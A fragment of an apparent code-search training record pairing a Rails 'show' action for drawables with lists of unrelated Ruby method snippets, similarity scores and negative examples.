"def not_so_tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param += [\"rutabaga\"]\n\n return a_string_param, an_array_param\nend",
"def not_so_tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param += [\"rutabaga\"]\n\n return a_string_param, an_array_param\nend",
"def not_so_tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param += [\"rutabaga\"]\n\n return a_string_param, an_array_param\nend",
"def not_so_tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param += [\"rutabaga\"]\n return a_string_param, an_array_param\nend",
"def tricky_method!(a_string_param, an_array_param)\n a_string_param << \", rutabega\"\n an_array_param << \"rutabega\"\nend",
"def less_tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param += [\"rutabaga\"]\n return a_string_param, an_array_param\nend",
"def join_strings(parameter1, parameter2)\r\n\treturn parameter1 + \" \" + parameter2\r\nend",
"def string=(_arg0); end",
"def searched(params)\n if params.is_a?(::Array)\n params.take(3).join(\", \") + \" ...\"\n else\n params\n end\n end",
"def array_index (letras = 'f, g, h')\r\n\tputs letras\r\nend",
"def getFullName(arg1=\"Barton\", arg2=\"Joey\")\n \"#{arg1}, #{arg2}\"\nend",
"def parameter_string\n \"\"\n end",
"def build_paramstring\n raise 'not implemented'\n end",
"def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param += [\"rutabaga\"]\n\n return a_string_param, an_array_param\nend",
"def void_string(*args)\n return nil.to_s\n end",
"def string(*) end",
"def full_names(names = [])\nend",
"def string?; end",
"def tuple(*args)\n \"( #{args.map { |b| if b.nil? then 'NULL' else b end }.join(', ')} )\"\nend",
"def argue(argument)\n return \"#{argument}\"\nend",
"def something_unusual(values)\r\n values.to_s\r\nend",
"def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param += [\"rutabaga\"]\n return a_string_param, an_array_param\nend",
"def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param += [\"rutabaga\"]\n return a_string_param, an_array_param\nend",
"def strings; end",
"def concatenate(strings)\n\nend",
"def if_nil(argument)\n if argument == nil \n \"\"\n else\n argument\n end\n end",
"def quotelist( *args )\n\t\t\treturn args.flatten.collect {|part| part =~ /\\s/ ? part.inspect : part}\n\t\tend",
"def first_non_empty(*args)\n while !args.empty?\n ret = args.shift\n return ret unless ret.to_s.empty?\n end\n return ''\n end",
"def arguments\n \"\"\n end",
"def good_recipes(arg1, *rest)\n \"The deserts will be #{arg1} and #{rest.join(', ')}\" # the string has embedded two variables, the second variable 'rest' is defined by the 'join' method, which is basicly saying, join the rest of the strings with a comma and a space\nend",
"def can_join_two_strings(string_1, string_2)\n return \"#{string_1}#{string_2}\"\nend",
"def validate(*params, access)\n params.map{|p| return p.flatten if access[p.to_sym].nil?}.join('')\n end",
"def fmt *args\n args.map { |arg| arg.is_a?(Array) ? sgr(*arg) : arg }.join\n end",
"def format_parameters(parameters)\n return if parameters.nil?\n parameters.collect do |name|\n name = name.inspect if name.kind_of? String\n %Q{ #{name}}\n end.join\n end",
"def human_list(list)\n case list.length\n when 0\n \"\"\n when 1\n list[0]\n when 2\n \"#{list[0]} and #{list[1]}\"\n else\n \"#{list[0...-1].join(', ')}, and #{list[-1]}\"\n end\nend",
"def list(names)\n if names.size == 0 ; return ''\n elsif names.size == 1 ; return \"#{names[0][:name]}\"\n else ; first_elements = names[0..-2].map {|element| element[:name]}\n return \"#{first_elements.join(\", \")} & #{names[-1][:name]}\"\n end\nend",
"def str1; end",
"def str1; end",
"def an_argument(*arguments)\n return \"You didn't give me any arguments.\" if arguments == []\n string = \"You gave me #{arguments.size} argument\"\n arguments.size == 1 ? string << \" and it is \" : string << \"s and they are \"\n if arguments.size > 1\n last = arguments.last\n arguments.pop\n end\n arguments.each {|argument| string << \"\\\"#{argument}\\\", \"}\n !last.nil? ? string.chop.chop<< \" and \\\"#{last}\\\".\" : string.chop.chop << \".\"\nend",
"def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param << \"rutabaga\"\n\n return a_string_param, an_array_param\nend",
"def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param << \"rutabaga\"\n\n return a_string_param, an_array_param\nend",
"def args_to_string(array)\n\tarray.map {|x| x.class == Array && x.size > 1 ? x[0].size > 1 ? '--' + x.join(' ') : '-' + x.join(' ') : x }.join(' ')\nend",
"def tricky_method_two(a_string_param, an_array_param)\n a_string_param << 'rutabaga' # \"pumpkinsrutabaga\"\n an_array_param = ['pumpkins', 'rutabaga'] # [\"pumpkins\", \"rutabaga\"]\nend",
"def one_parameter_method (argument=\"nothing\")\n return argument\nend",
"def method1 arg1, arg2\n return \"#{arg1} #{arg2}\"\nend",
"def add_word!(a_string_param, an_array_param)\n a_string_param << \" rutabaga\"\n an_array_param << \"rutabaga\"\nend",
"def generate_args(args)\n args.empty? || args.last.blank? ? nil : args\n end",
"def signature_string(args_type, param_names)\n size_type = args_type.size_type\n types =\n case args_type\n when Puppet::Pops::Types::PTupleType\n last_range = args_type.repeat_last_range\n required_count, _ = args_type.size_range\n args_type.types\n when Puppet::Pops::Types::PArrayType\n from, to = args_type.size_range\n required_count = from\n # array has just one element, but there may be multiple names that needs to be subtracted from the count\n # to make it correct for the last named element\n adjust = max(0, param_names.size() -1)\n last_range = [max(0, (from - adjust)), (to - adjust)]\n [ args_type.element_type ]\n end\n tc = Puppet::Pops::Types::TypeCalculator\n\n # join type with names (types are always present, names are optional)\n # separate entries with comma\n #\n if param_names.empty?\n result = types.each_with_index.map {|t, index| tc.string(t) + opt_value_indicator(index, required_count, 0) }.join(', ')\n else\n limit = param_names.size\n result = param_names.each_with_index.map do |name, index|\n [tc.string(types[index] || types[-1]), name].join(' ') + opt_value_indicator(index, required_count, limit)\n end.join(', ')\n end\n\n # Add {from, to} for the last type\n # This works for both Array and Tuple since it describes the allowed count of the \"last\" type element\n # for both. It does not show anything when the range is {1,1}.\n #\n result += range_string(last_range)\n result\n end",
"def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param << \"rutabaga\"\n end",
"def full_name_2(first_name: first_name, last_name: last_name)\n first_name + \" \" + last_name\nend",
"def %(arg0)\n end",
"def %(arg0)\n end",
"def car(str_1, str_2)\n \"#{str_1} #{str_2}\"\nend",
"def append_rutabaga!(a_string_param, an_array_param)\n a_string_param << \"rutabaga\"\n an_array_param << \"rutabaga\"\nend",
"def prettify_args(*args)\n pretty_args = args.map do |argument|\n if argument == nil\n next 'nil'\n elsif argument.is_a?(Symbol)\n next \":#{argument}\"\n else\n next argument\n end\n end\n\n return 'nil' if pretty_args.empty?\n return pretty_args.first if pretty_args.count == 1\n\n pretty_args\n end",
"def refactor_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param += [\"rutabaga\"]\n\n return a_string_param, an_array_param\nend",
"def str3; end",
"def str3; end",
"def cool_dude(arg1=\"Miles\", arg2=\"Coltrane\", arg3=\"Roach\")\n \"#{arg1}, #{arg2}, #{arg3}\"\nend",
"def full_name(*args)\n args.join(\" \")\n end",
"def methodWithArgument(first, second = \"all\")\r\n\treturn \"Message: #{first} #{second}\"\r\nend",
"def argument_string(args)\n args.to_a.map { |v| v.join '=' }.join('&')\n end",
"def some_id( id )\n id.blank? ? '' : \"[#{ id }]\"\n end",
"def str; end",
"def str; end",
"def combine_name(first_name, last_name)\n # Q3 CODE HERE\n return \"#{first_name} #{last_name}\"\nend",
"def foo(*my_string) \n my_string.inspect \nend",
"def cool_dude(arg1=\"Miles\", arg2=\"Coltrane\", arg3=\"Rose\")\n\t\"#{arg1}, #{arg2}, #{arg3}\"\nend",
"def liststrs(strs)\n return \"\" if strs.empty?\n if (strs.count == 1)\n strs[0]\n else\n last = strs.pop\n [strs.join(', '), last].join(' and ')\n end\nend",
"def introduction_with_language_optional(#{name}, #{language})\n puts \"Hi, my name is #{name} and I am learning to code in #{Ruby}!\nend",
"def sql_function_args(args)\n \"(#{Array(args).map{|a| Array(a).reverse.join(' ')}.join(', ')})\"\n end",
"def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\" # \"pumpkinsrutabaga\"\n an_array_param << \"rutabaga\" # [\"pumpkins\", \"rutabaga\"]\nend",
"def thing(fave_one, fave_two, fave_three)\n \"I love that #{fave_two} too!\"\nend",
"def not_very_tricky_method(a_string_param, an_array_param)\r\n a_string_param += \"rutabaga\"\r\n an_array_param << \"rutabaga\"\r\nend",
"def methodWithParams nombre,apellido\n puts \"Mi nombre es #{nombre} #{apellido}\" \nend",
"def to_s(arg0, arg1, *rest)\n end",
"def list_join(*args)\n args.count == 1 ? \" #{args[0]}\" : \"#{$/}* #{args.join(\"#{$/}* \")}\"\n end",
"def format_args\n required_max = arity < 0 ? -arity-1 : arity\n args = 0.upto(required_max-1).map do |i| \n local_name(i)\n end.join(', ')\n \n last = local_table_size-1\n if last >= required_max\n opt_args = required_max.upto(last).map do |i| \n local_name(i)\n end.join(', ')\n args += '; ' + opt_args\n else\n args = '?'\n end\n end",
"def sanitize_parameters(param)\n return param.map { |p| String(p) } if param.is_a?(Array)\n return param.map { |k, v| [String(k), String(v)] }.to_h if param.is_a?(Hash)\n return String(param)\n end",
"def say_hello3(name1=\"oscar\", name2=\"shane\")\n \"hello, #{name1} and #{name2}\"\nend",
"def creating_jql_string arr, str, type\n if !arr.empty? && str.empty?\n array_to_string arr, type\n elsif !arr.empty? && !str.empty?\n \" AND #{array_to_string(arr, type)}\"\n end\n end",
"def to_s_name\n (@restarg ? \"*\" : '') + (@name.to_s || \"_arg_#{@i}\")\n end",
"def varargs(arg1,*rest)\n puts \"Got #{arg1} and #{rest.join(',')}\"\nend"
] |
[
"0.64837927",
"0.62587494",
"0.62238455",
"0.619185",
"0.6151578",
"0.6118093",
"0.61119217",
"0.61099756",
"0.61044854",
"0.6092068",
"0.6092068",
"0.6092068",
"0.6092068",
"0.6092068",
"0.6092068",
"0.6092068",
"0.6092068",
"0.6092068",
"0.6092068",
"0.6092068",
"0.6092068",
"0.60331774",
"0.6025533",
"0.5993288",
"0.5959848",
"0.5946872",
"0.5920835",
"0.58971256",
"0.58921087",
"0.58838874",
"0.5878452",
"0.58528703",
"0.58346033",
"0.5823428",
"0.5814462",
"0.5803437",
"0.578821",
"0.5771695",
"0.5766556",
"0.57392126",
"0.57392126",
"0.57320476",
"0.57240415",
"0.5716939",
"0.5697061",
"0.5689683",
"0.56689656",
"0.56688905",
"0.5643015",
"0.56302875",
"0.5628309",
"0.56130284",
"0.5592356",
"0.5585418",
"0.55696094",
"0.55696094",
"0.555629",
"0.5556172",
"0.5556172",
"0.5547191",
"0.5531068",
"0.5506425",
"0.5498086",
"0.5491672",
"0.54916596",
"0.54906315",
"0.548749",
"0.54853225",
"0.5474464",
"0.5474464",
"0.54730076",
"0.54659426",
"0.54632944",
"0.5453846",
"0.5453545",
"0.5453545",
"0.54427075",
"0.5435931",
"0.5432628",
"0.5425995",
"0.54247576",
"0.5423878",
"0.5423878",
"0.5415734",
"0.54153293",
"0.541162",
"0.5407294",
"0.54035324",
"0.540212",
"0.5397216",
"0.53911936",
"0.5391121",
"0.5380874",
"0.5379535",
"0.53794503",
"0.53727007",
"0.5370946",
"0.5370483",
"0.5368172",
"0.53642774",
"0.5363423"
] |
0.0
|
-1
|
GET /drawables GET /drawables.json
|
def index
@drawables = Drawable.all
respond_to do |format|
format.html # index.html.erb
format.json { render json: @drawables }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n @drawable = Drawable.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @drawable }\n end\n end",
"def destroy\n @drawable = Drawable.find(params[:id])\n @drawable.destroy\n\n respond_to do |format|\n format.html { redirect_to drawables_url }\n format.json { head :no_content }\n end\n end",
"def show\n @drawing = Drawing.find(params[:id])\n\n render json: @drawing\n end",
"def index\n @drawings = Drawing.all\n end",
"def drawings\n @drawings ||= []\n end",
"def show\n @draw = Draw.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @draw }\n end\n end",
"def index\n @draws = Draw.paginate(:page => params[:page], :per_page => 50)\n @winning_draws = Draw.where(:selection => \"WINNER\")\n @draw = Draw.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @draws }\n end\n end",
"def append_to(drawables, layer_type)\n drawables.each do |drawable|\n layer_with(layer_type).append(drawable)\n end\n end",
"def index\n wishes = Wish.all.with_attached_image.where(is_secret: false)\n render json: { wishes: generate_image_url(wishes) }\n end",
"def get_drawing_object_list\n\n begin\n str_uri = $product_uri + '/words/' + @filename + '/drawingObjects'\n signed_str_uri = Aspose::Cloud::Common::Utils.sign(str_uri)\n\n response_stream = RestClient.get(signed_str_uri, {:accept => 'application/json'})\n\n stream_hash = JSON.parse(response_stream)\n stream_hash['Code'] == 200 ? stream_hash['DrawingObjects']['List'] : false\n\n rescue Exception => e\n print e\n end\n\n end",
"def index\n @api_v1_canvases = Api::V1::Canvas.all\n render json: @api_v1_canvases\n end",
"def index\n @pictures = Picture.where(foodscape_id: params[:foodscape_id])\n render json: @pictures\n end",
"def styles\n respond_to do |format|\n format.json{ render :json => helpers.get_style(params[:style_id], :json) }\n end\n end",
"def shape\n=begin\n\t\tgeometries = Rails.cache.fetch(MEMORY_CACHE_KEY_SHAPE.gsub(\"[shape_id]\", params[:id])\n\t\t\t\t.gsub(\"[locale]\", I18n.locale.to_s)\n\t\t\t\t.gsub(\"[shape_type_id]\", params[:shape_type_id])) {\n\t\t\tShape.build_json(params[:id], params[:shape_type_id]).to_json\n\t\t}\n=end\n\t\tkey = FILE_CACHE_KEY_SHAPE.gsub(\"[shape_id]\", params[:id])\n\t\t\t.gsub(\"[locale]\", I18n.locale.to_s)\n\t\t\t.gsub(\"[shape_type_id]\", params[:shape_type_id])\n\t\tgeometries = JsonCache.fetch_shape(key) {\n \t\tShape.build_json(params[:id], params[:shape_type_id]).to_json\n\t\t}\n\n respond_to do |format|\n format.json { render json: geometries }\n end\n end",
"def drawings\n\t@drawings || read_drawings\n end",
"def index\n @breeds = Breed.all\n\n render json: @breeds\n end",
"def get_drawing_objects output_path\n\n begin\n\n if output_path == ''\n raise 'Output path not specified.'\n end\n\n str_uri = $product_uri + '/words/' + @filename + '/drawingObjects'\n signed_str_uri = Aspose::Cloud::Common::Utils.sign(str_uri)\n\n response_stream = RestClient.get(signed_str_uri, {:accept => 'application/json'})\n\n stream_hash = JSON.parse(response_stream)\n\n return false unless stream_hash['Code'] == 200\n\n stream_hash['DrawingObjects']['List'].each do |object|\n self.get_drawing_object(object['link']['Href'], output_path)\n end\n\n rescue Exception => e\n print e\n end\n\n end",
"def list\n @colors = Admin::Color.all\n\n render json: { colors: @colors }\n end",
"def accessories\n render json: { collections: Collection.published_accessories }\n end",
"def get_colours\n @item = Item.find(params[:id])\n @colours = @item.variants_for(:colour, params[:size], nil)\n respond_to do |format|\n format.json { render :json => @colours }\n end\n end",
"def draw\n @deck = Deck.find(params[:id])\n drawed_cards = @deck.draw_five_cards\n render json: {\n cards: drawed_cards,\n deck_id: @deck.id,\n remaining: @deck.card_codes.count\n }\n end",
"def show\n @draw_data = Draw.find_by_id params[:id]\n end",
"def index\n @budgets = Budget.find_owned_by current_user\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @budgets }\n end\n end",
"def index\n @dices = Dice.all\n\n render json: @dices\n end",
"def get_drawable_objects()\n @ary = []\n @ary += @monsters\n @ary += @towers.values\n @ary += @bullets\n @ary << @placed_tower if @placed_tower\n @ary\n end",
"def list_colors\n colors_raw = search_colors_shopstyle\n colors = formats_colors_hash(colors_raw)\n render json: { status: 0, data: {colors: colors} }\n end",
"def serv_json\n \"http://api.dribbble.com/shots/popular?page=1\"\n end",
"def index\n @client_accessories = ClientAccessory.all\n end",
"def show\n render json: @dice\n end",
"def load_drawings_and_rels\n @drawings = parse_xml(@drawing_filepath).css('xdr|twoCellAnchor', 'xdr|oneCellAnchor' )\n drawing_rels_filepath = expand_to_rels_path(@drawing_filepath)\n @drawings_rels = parse_xml(drawing_rels_filepath).css('Relationships')\n end",
"def list_assets\n # Refresh state of assets, if needed\n User.sync_assets!(@context)\n\n ids = unsafe_params[:ids]\n assets = if unsafe_params[:editable]\n Asset.closed.editable_by(@context).accessible_by_private\n else\n Asset.closed.accessible_by(@context)\n end\n\n unless ids.nil?\n fail \"The 'ids' parameter needs to be an Array of String asset ids\" unless ids.is_a?(Array) && ids.all? { |id| id.is_a?(String) }\n assets = assets.where(uid: ids)\n end\n\n if unsafe_params[:scopes].present?\n check_scope!\n assets = assets.where(scope: unsafe_params[:scopes])\n end\n\n result = assets.order(:name).map do |asset|\n describe_for_api(asset, unsafe_params[:describe])\n end\n\n unless ids.nil?\n # This would happen if an asset becomes inaccessible\n # For now silently drop the asset -- allows for asset deletion\n # raise unless ids.size == result.size\n end\n\n render json: result\n end",
"def index\n @attribute_layers = @palette.attribute_layers.all\n end",
"def index\n colorizers = Colorizer.all\n\n render json: colorizers\n end",
"def index\n @weapon_types = WeaponType.all\n\n render json: @weapon_types\n end",
"def index\n @palettes = Palette.all\n end",
"def index\n @weapons = Weapon.all\n\n render json: @weapons\n end",
"def index\n @layers = Layer.order(:id)\n\n respond_to do |format|\n format.html # index.html.erb\n # example output:\n # {\"layers\":[{\"id\":14,\"name\":\"coutries\",\"number_of_polygons\":279}]}\n format.json { render json: {layers: @layers.map {|layer| {id: layer.id, name:layer.name, number_of_polygons: layer.areas.count}}} }\n end\n end",
"def index\n @batting_lines = BattingLine.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @batting_lines }\n end\n end",
"def index\n @artefact = Artefact.find(params[:artefact_id])\n\n @assets = @artefact.assets\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @assets }\n end\n end",
"def index\n @skin_diets = SkinDiet.all\n end",
"def drawings\n return self.notice_relationships.map {|e| (e.pattern + \"/\" + e.drawing_revision.to_s).gsub(/\\/$/, '') }.join(\", \")\n end",
"def create\n @drawable = Drawable.new(params[:drawable])\n\n respond_to do |format|\n if @drawable.save\n format.html { redirect_to @drawable, notice: 'Drawable was successfully created.' }\n format.json { render json: @drawable, status: :created, location: @drawable }\n else\n format.html { render action: \"new\" }\n format.json { render json: @drawable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @drawable = Drawable.find(params[:id])\n\n respond_to do |format|\n if @drawable.update_attributes(params[:drawable])\n format.html { redirect_to @drawable, notice: 'Drawable was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @drawable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @drawers = Drawer.all\n\n respond_to do |wants|\n wants.html # index.html.erb\n wants.xml { render :xml => @drawers }\n end\n end",
"def drawing_params\n params.require(:drawing).permit(:name, :leds, :user_id, :leds => [])\n end",
"def download\n URI.extract(json, ['http', 'https']).each do |url|\n get_asset(url)\n end\n\n json\n end",
"def index\n @through_tables = ThroughTable.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @through_tables }\n end\n end",
"def index\n #@assets = Asset.all\n respond_to do |format|\n format.html\n format.json { render json: AssetsDatatable.new(view_context) }\n end \n end",
"def index\n @denuncia = Denuncium.all\n\n render json: @denuncia\n end",
"def items\n @beverages = Beverage.available\n respond_to do |format|\n format.json { render :json => @beverages.to_json(methods: :image_url)}\n end\n end",
"def index\n @items = Item.all\n @budget = Budget.find params[:budget_id]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def show\n render json: { wishes: generate_image_url([@wish]) }\n end",
"def index\n @shape_types = ShapeType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shape_types }\n end\n end",
"def index\n @tipo_denuncia = TipoDenuncium.all\n\n render json: @tipo_denuncia\n end",
"def all_followships\n followships = User.find(params[:user_id]).followships\n render :json => followships\n end",
"def show\n render json: @accessory_category\n end",
"def assets(page = 1, order = :oldest)\n Dropio::Resource.client.assets(self, page, order)\n end",
"def index\n @followships = Follower.all\n render json: @followships\n end",
"def index\n @icons = Icon.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @icons }\n end\n end",
"def index\n @textures = Texture.find(:all, :limit => 20, :order=> 'created_at desc')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @textures }\n end\n end",
"def draw map\n\n case self.route_mode\n when :resource\n\n # Find collection-level resource actions\n actions = @endpoints.map{ |r| self.action_for r }.select{ |a| Symbol === a }\n\n # Find parameter-level resource actions\n @subroutes.select{ |k, _| /^:/ === k }.values.each do |subroute|\n actions += subroute.endpoints.map{ |r| subroute.action_for r }.select{ |a| Symbol === a }\n end\n\n # Draw a resource\n map.resources @prefix.last.to_sym, only: actions do\n draw_actions! map\n draw_subroutes! map\n end\n\n when :namespace\n\n # Draw a namespace (unless at the top)\n if @prefix.join(\"/\").blank?\n draw_subroutes! map\n else\n map.namespace @prefix.last do\n draw_subroutes! map\n end\n end\n\n when :param\n\n # Draw subroutes directly\n draw_subroutes! map\n draw_actions! map\n\n when :action\n\n # Draw actions directly\n draw_actions! map\n\n end\n\n end",
"def show\n animal = Animal.find(params[:id])\n #return all the sightings for the animal\n render json: animal.to_json(include: :sightings)\nend",
"def index\n @breeds = Breed.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @breeds }\n end\n end",
"def index\n @bounties = Bounty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @bounties }\n end\n end",
"def index\n @disabilities = Disability.sorted\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @disabilities }\n end\n end",
"def index\n @down_sizes = DownSize.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @down_sizes }\n end\n end",
"def index\n @cables = Cable.all\n end",
"def index\n @cables = Cable.all\n end",
"def index\n @graphics = Graphic.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @graphics }\n end\n end",
"def make_item_list\n @data = $game_temp.avatars.all_faces;\n end",
"def new\n @drawable = Drawable.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @drawable }\n end\n end",
"def show\n\n @observation = Observation.find(params[:id])\n @coral = Coral.find(params[:coral_id])\n\n @files = Dir.glob(\"app/assets/images/tagged_outlines_thumbs/*\")\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @observation }\n end\n end",
"def show\n render :json => @weapon, :include => :special_rules\n end",
"def index\n @shots = Shot.all\n\n render json: @shots\n end",
"def index\n @dogs = Dog.all\n render json: @dogs, each_serializer: DogSerializer, root: 'dogs'\n end",
"def index\n @sightings = Sighting.all\n render json: @sightings\n end",
"def drawings\n Drawing.where(label: self)\n end",
"def collection_of_sprites args\n sprites_collection = [\n [\n [400, 0, 50, 50, 'sprites/ship.png'],\n [400, 100, 50, 50, 'sprites/ship.png'],\n ],\n [400, 200, 50, 50, 'sprites/ship.png']\n ]\n\n args.outputs.sprites << sprites_collection\n\n args.outputs.solids << [\n [500, 0, 50, 50, 'sprites/ship.png'],\n [500, 100, 50, 50, 'sprites/ship.png'],\n [[[500, 200, 50, 50, 'sprites/ship.png']]]\n ]\n\n args.outputs.borders << [\n [\n [600, 0, 50, 50, 'sprites/ship.png'],\n [600, 100, 50, 50, 'sprites/ship.png'],\n ],\n [600, 200, 50, 50, 'sprites/ship.png']\n ]\nend",
"def index\n @disciplines = Discipline.all\n\n render json: @disciplines\n end",
"def index\n @batches = Batch.all\n @batches.each do |batch|\n authorize! :read, batch\n end\n render json: @batches\n end",
"def new\n @drawing = Drawing.new\n\n render json: @drawing\n end",
"def draw\n draw_background\n draw_ambient\n draw_objects\n draw_ui\n end",
"def index\n @cables = Cable.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @cables }\n end\n end",
"def index\n @diaries = current_user.diaries.all\n respond_to do |format|\n format.html {render :index}\n format.json { render json: @diaries }\n end\n end",
"def index\n @dco_resources = DcoResource.all\n end",
"def index\n @weapons = Weapon.all\n render :json => @weapons, :include => :special_rules\n \n end",
"def index\n respond_to do |format|\n format.html # index.html.erb (no data required)\n f = find_budgets\n format.ext_json { render :json => f.to_ext_json(:class => :budget, \n :count => f.length,\n :methods=>[:total_budget_costs,:total_budget_invoices,:total_budget_pricings],\n :include=>{:user=>{:only=>\"login\"}}) }\n \n end\n end",
"def assets\n []\n end",
"def index\n @accessory_categories = AccessoryCategory.all.order(\"updated_at DESC\").order(\"created_at DESC\")\n\n render json: @accessory_categories\n end",
"def index\n @heights = Height.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @heights }\n end\n end",
"def index\n @themes = Theme.all\n json_response(@themes)\n end",
"def index\n @buisnesses = Buisness.all\n\n render json: @buisnesses \n end",
"def show_user_wishes\n completed_wishes = current_user.wishes.with_attached_image.where(is_completed: true)\n not_completed_wishes = current_user.wishes.with_attached_image.where(is_completed: false)\n\n render json: { completed_wishes: generate_image_url(completed_wishes), not_completed_wishes: generate_image_url(not_completed_wishes) }\n end",
"def index\n @discipline_types = DisciplineType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @discipline_types }\n end\n end",
"def get_dogs\n user_dog = User.find(params[:id]).dog\n if user_dog\n render json: user_dog.to_json(include: :dog_photos)\n else\n render json: []\n end\n end",
"def index\n @colors = if params[:sort]\n Color.order params[:sort]\n elsif params[:body_style_size_id]\n BodyStyleSize.find(params[:body_style_size_id]).colors.ordered\n elsif params[:design_id]\n Design.find(params[:design_id]).colors.ordered\n else\n Color.ordered\n end.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @colors }\n end\n end",
"def index\n @clips = Clip.all\n respond_to do |format|\n format.json { render json: @clips.to_json(:include => [:sound_board_clip_sources, :image_playing, :image_default ]) }\n format.xml { render xml: @clips }\n end\n end",
"def abilities\n get('/ability/')\n end",
"def index\n @color_reflections = ColorReflection.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @color_reflections }\n end\n end",
"def index\n @attribute_sets = AttributeSet.all\n render json: @attribute_sets\n end"
] |
[
"0.5707991",
"0.56121224",
"0.5445468",
"0.54172033",
"0.5362379",
"0.53444016",
"0.53135693",
"0.52198774",
"0.514454",
"0.5032679",
"0.5013118",
"0.50037205",
"0.49812412",
"0.49798182",
"0.49472016",
"0.49451435",
"0.49378833",
"0.4908923",
"0.48770866",
"0.48752898",
"0.48574764",
"0.4849024",
"0.484375",
"0.4833416",
"0.47869074",
"0.47807103",
"0.47692472",
"0.47592875",
"0.4749651",
"0.47380793",
"0.47366092",
"0.47343543",
"0.47308472",
"0.47049743",
"0.4703825",
"0.46986002",
"0.4694319",
"0.4692629",
"0.4687962",
"0.46870068",
"0.4682411",
"0.46807143",
"0.46795297",
"0.4675181",
"0.466882",
"0.46676567",
"0.46669173",
"0.4663603",
"0.46546322",
"0.46538156",
"0.46536973",
"0.4645156",
"0.46441504",
"0.46434754",
"0.4635251",
"0.4635047",
"0.46342358",
"0.46289274",
"0.46288374",
"0.46286818",
"0.46196148",
"0.46174553",
"0.4617173",
"0.4613266",
"0.46087962",
"0.460713",
"0.4603679",
"0.4603679",
"0.4600837",
"0.45890957",
"0.45879355",
"0.45849523",
"0.45803124",
"0.4579337",
"0.45730415",
"0.45591393",
"0.4559039",
"0.455568",
"0.45533973",
"0.4549353",
"0.454366",
"0.4535283",
"0.45339",
"0.45311463",
"0.45266917",
"0.4518433",
"0.45121053",
"0.4510996",
"0.4509329",
"0.45044968",
"0.44990152",
"0.44949025",
"0.44925195",
"0.4490648",
"0.44902745",
"0.44833994",
"0.44828445",
"0.44790968",
"0.44788378",
"0.4475753"
] |
0.76883763
|
0
|
GET /drawables/1 GET /drawables/1.json
|
def show
@drawable = Drawable.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @drawable }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @drawables = Drawable.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @drawables }\n end\n end",
"def show\n @drawing = Drawing.find(params[:id])\n\n render json: @drawing\n end",
"def destroy\n @drawable = Drawable.find(params[:id])\n @drawable.destroy\n\n respond_to do |format|\n format.html { redirect_to drawables_url }\n format.json { head :no_content }\n end\n end",
"def show\n @draw = Draw.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @draw }\n end\n end",
"def index\n @drawings = Drawing.all\n end",
"def index\n @draws = Draw.paginate(:page => params[:page], :per_page => 50)\n @winning_draws = Draw.where(:selection => \"WINNER\")\n @draw = Draw.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @draws }\n end\n end",
"def show\n @draw_data = Draw.find_by_id params[:id]\n end",
"def drawings\n @drawings ||= []\n end",
